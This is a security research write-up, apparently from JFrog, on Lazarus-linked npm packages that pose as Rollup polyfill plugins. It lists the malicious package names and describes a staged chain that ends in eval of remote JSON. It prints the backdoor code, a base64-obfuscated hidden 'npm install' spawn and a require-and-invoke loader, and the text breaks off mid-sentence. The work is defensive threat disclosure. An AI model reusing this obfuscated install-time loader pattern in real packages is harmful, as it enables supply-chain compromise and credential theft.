Lazarus-Linked npm Malware Masquerades as Rollup Polyfills
The JFrog Security research team identified a malicious npm package cluster masquerading as Rollup polyfill tooling. The two entry packages, rollup-packages-polyfill-core and rollup-runtime-polyfill-core, imitate the naming, README content, repository metadata, and package shape of the legitimate rollup-plugin-polyfill-node project. /img/RealTimePostImage/post/rollup-polyfill-masquerading-hero.png The legitimate package is widely used in the JavaScript build ecosystem, with ~295K weekly downloads for rollup-plugin-polyfill-node and more than 1.2M downloads in the last month. The lookalike packages place themselves in the same rollup, polyfill, core, and node naming space, which can look plausible during a quick dependency review. ## Affected Packages During the investigation, we observed six npm packages: ``text rollup-packages-polyfill-core rollup-runtime-polyfill-core swift-parse-stream quirky-token react-icon-svgs rollup-plugin-polyfill-connect ` At the time of writing, rollup-plugin-polyfill-connect and react-icon-svgs had received security-holding versions on npm, while the other four malicious packages were still live. The first two packages are the Rollup-themed entry points. rollup-packages-polyfill-core installs and loads swift-parse-stream; rollup-runtime-polyfill-core installs and loads quirky-token. The second-stage packages are near-identical SVG utilities that fetch a JSON object from JSONKeeper and eval the model field. We observed the same staging pattern with react-icon-svgs, which installed rollup-plugin-polyfill-connect as a second stage. This layered structure, together with the lookalike names, legitimate-looking metadata, hidden install-time execution, environment checks, and credential-theft/remote-access payloads, is similar to previous North Korean Lazarus-linked npm campaigns. The key differentiator is the payload deployment method, which we analyze in detail below. ## Package Masquerading Both Rollup-themed packages copy most of the legitimate rollup-plugin-polyfill-node surface: - The README text describes "A modern Node.js polyfill for your Rollup bundle." /img/RealTimePostImage/post/rollup-polyfill-masquerading-npm.png - The repository and homepage point to github.com/FredKSchott/rollup-plugin-polyfill-node. - The package entry point contains legitimate-looking Rollup polyfill plugin code before the malicious logic. - In the samples, only the CommonJS dist/index.js entry point is backdoored; the ESM dist/es/index.js files do not contain the appended install-and-load routine. - The names remain close to the legitimate project without being exact typos. ## End-to-End Malware Flow Putting the pieces together, the infection chain looks like this: /img/RealTimePostImage/post/polyfill-masquerading-flow.png The two entry packages differ mainly in the second-stage package they install. After that, both routes converge on the same JSONKeeper payload. ## Hidden Install Step The malicious logic is appended to otherwise plausible Rollup plugin code. In rollup-packages-polyfill-core, the import-time install routine is hidden behind benign-looking SVG validation names: ``js const ValidateSvgModule = () => { const CMD = Buffer.from("bnBtIGluc3RhbGwgc3dpZnQtcGFyc2Utc3RyZWFtIC0tbm8tc2F2ZSAtLXNpbGVudCAtLW5vLWF1ZGl0IC0tbm8tZnVuZA==", "base64").toString("utf8"); const [cmd, ...args] = CMD.split(' '); const child = spawn(cmd, args, { stdio: 'ignore', shell: process.platform === 'win32', windowsHide: true }); }; ` The base64 string in CMD decodes to: `text npm install swift-parse-stream --no-save --silent --no-audit --no-fund ` The package then decodes the module name swift-parse-stream, requires it, retrieves getPlugin(), and invokes the returned function. `js const MODULE_NAME = Buffer.from('c3dpZnQtcGFyc2Utc3RyZWFt', 'base64').toString('utf8'); const checkPlugin = () => { try { const svgo = require(MODULE_NAME); const plugin = svgo.getPlugin(); if (plugin) { const svgData = ''; plugin(); } } catch (error) { } }; ValidateSvgModule(); ` rollup-runtime-polyfill-core uses the same pattern to install quirky-token. This makes the infection happen when the package is imported as part of a build or configuration flow. ## JSONKeeper Loader swift-parse-stream and quirky-token present themselves as SVG sanitization utilities. Most of the file is harmless-looking SVG code: hashing content, removing